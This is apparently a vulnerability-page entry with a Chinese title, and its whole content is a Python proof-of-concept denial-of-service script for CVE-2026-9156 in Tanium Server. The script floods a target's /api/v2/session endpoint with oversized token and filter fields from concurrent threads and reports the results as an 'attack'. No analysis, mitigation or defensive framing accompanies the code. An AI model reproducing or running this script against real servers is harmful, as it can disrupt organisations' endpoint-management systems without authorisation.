CVE-2026-9156 Tanium Server拒绝服务漏洞

# CVE-2026-9156 PoC - Tanium Server DoS # Target: Tanium Server # Type: Denial of Service # CVSS: 6.5 (Medium) import requests import time import argparse from concurrent.futures import ThreadPoolExecutor def exploit_tanium_dos(target_url, verify=True): """ PoC for CVE-2026-9156 - Tanium Server DoS Sends malformed requests to trigger DoS condition """ headers = { 'User-Agent': 'Tanium Client/7.x', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Malformed request payload targeting vulnerable endpoint payload = { 'session': { 'token': 'A' * 10000, # Large payload 'action': 'endpoint_list', 'filter': 'x' * 5000 } } try: response = requests.post( f'{target_url}/api/v2/session', json=payload, headers=headers, verify=verify, timeout=10 ) return response.status_code, len(response.content) except requests.exceptions.RequestException as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='CVE-2026-9156 PoC') parser.add_argument('--target', required=True, help='Tanium Server URL') parser.add_argument('--threads', type=int, default=10, help='Number of threads') args = parser.parse_args() print(f'[*] Starting DoS attack against {args.target}') print(f'[*] Using {args.threads} concurrent connections') with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(exploit_tanium_dos, args.target) for _ in range(100)] for i, future in enumerate(futures): status, length = future.result() print(f'[+] Request {i+1}: Status={status}, Response={length}') print('[*] Attack completed') if __name__ == '__main__': main()